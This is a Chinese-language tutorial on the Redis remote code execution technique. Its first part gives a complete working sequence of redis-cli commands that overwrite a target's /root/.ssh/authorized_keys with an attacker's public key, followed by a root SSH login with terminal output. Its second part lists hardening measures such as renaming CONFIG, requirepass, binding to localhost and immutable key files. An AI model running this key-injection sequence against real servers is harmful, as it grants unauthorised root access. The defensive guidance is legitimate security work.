Redis - - Redis 远程代码执行漏洞
1,利用redis漏洞,远程登录服务器
1.1 登录远程 redis 并写入ssh公钥
[root@test ~]# redis-cli -h 192.168.168.168 -p 6379 -a 123456
# 设置路径等配置(必须有写入权限)
192.168.168.168:6379> config set dir /root/.ssh
OK
# 上传公钥的备份文件名字为authorized_keys
192.168.168.168:6379> config set dbfilename authorized_keys
OK
# 写入 ssh公钥
192.168.168.168:6379> set xxx "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC81NVpk8QyY1Roeo8lvHzjpPkvkWy4vYTzJi0msFaxvbpkQ0k2EvWDL8gxCPiu5/TzA47xTTKkk2H9Us0ciPnKRHliJMx7X0t4HaQj2LZ15t186O4JBaZhD4AEHkJDl9g1kR5XVtJmeQREv7GNCMFhFILyre1BWrrMrZbT4x1SMimOfbvhi2itSB9tReMQYkgpiQ0RnV1YDgk83/+Hr root@test\n\n\n"
OK
# 保存配置
192.168.168.168:6379> save
OK
# 退出
192.168.168.168:6379> exit
1.2 登录远程服务器
[root@test-docker ~]# ssh root@192.168.168.168
The authenticity of host '192.168.168.168 (192.168.168.168)' can't be established.
RSA key fingerprint is SHA256:qiBj+5ipRG6rcY6uAbbeIelJK/huZgWVb4BM855YTZs.
RSA key fingerprint is MD5:84:21:21:f8:7c:5d:71:00:9d:f9:cb:df:4e:63:fe:35.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.168.168' (RSA) to the list of known hosts.
Last login: Fri Dec 14 10:48:58 2018 from 61.50.114.230
1.3 查看公钥信息
[root@VM_0_11_centos ~]# more /root/.ssh/authorized_keys
REDIS0008 redis-ver4.0.10
redis-bitse)used-memΒ
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC81NVpk8QyY1Roeo8lvHzjpPkvkWy4vYTzJi0msFaxvbpkQ0k2EvWDL8gxCPiu5/
JMx7X0t4HaQj2LZ15t186O4JBaZhD4AEHkJDl9g1kR5XVtJmeQREv7GNCMFhFILyre1BWrrMrZbT4x1SMimOfbvhi2itSB9tReMQYkgpiQ0RnV1YDgk83/+Hr root@test
1.4 远程服务器信息
[root@VM_0_11_centos ~]# cat /etc/redhat-release
CentOS release 6.9 (Final)
[root@VM_0_11_centos ~]# uname -a
Linux VM_0_11_centos 2.6.32-696.el6.x86_64 #1 SMP Tue Mar 21 19:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
1.5 本地服务器信息
[root@test ~]# cat /etc/redhat-release
CentOS Linux release 7.6.1810 (Core)
[root@test-docker ~]# uname -a
Linux test 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
2,漏洞修复避免
2.1 禁止一些高危命令(重启redis才能生效)
- 修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
- 或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3”
2.2 以低权限运行 Redis 服务(重启redis才能生效)
- 为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis
2.3 为 Redis 添加密码验证(重启redis才能生效)
- 修改 redis.conf 文件,添加
requirepass mypassword
- 注:redis不要用-a参数,明文输入密码,连接后使用auth认证
2.4 禁止外网访问 Redis(重启redis才能生效)
- 修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
- 在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错
2.5 修改默认端口
- 修改配置文件redis.conf文件
Port 6379
- 默认端口是6379,可以改变成其他端口(不要冲突就好)
2.6 保证 authorized_keys 文件的安全
- 为了保证安全,您应该阻止其他用户添加新的公钥。
- 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
- 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
- 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh
2.7 设置防火墙策略
-
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
-
参考: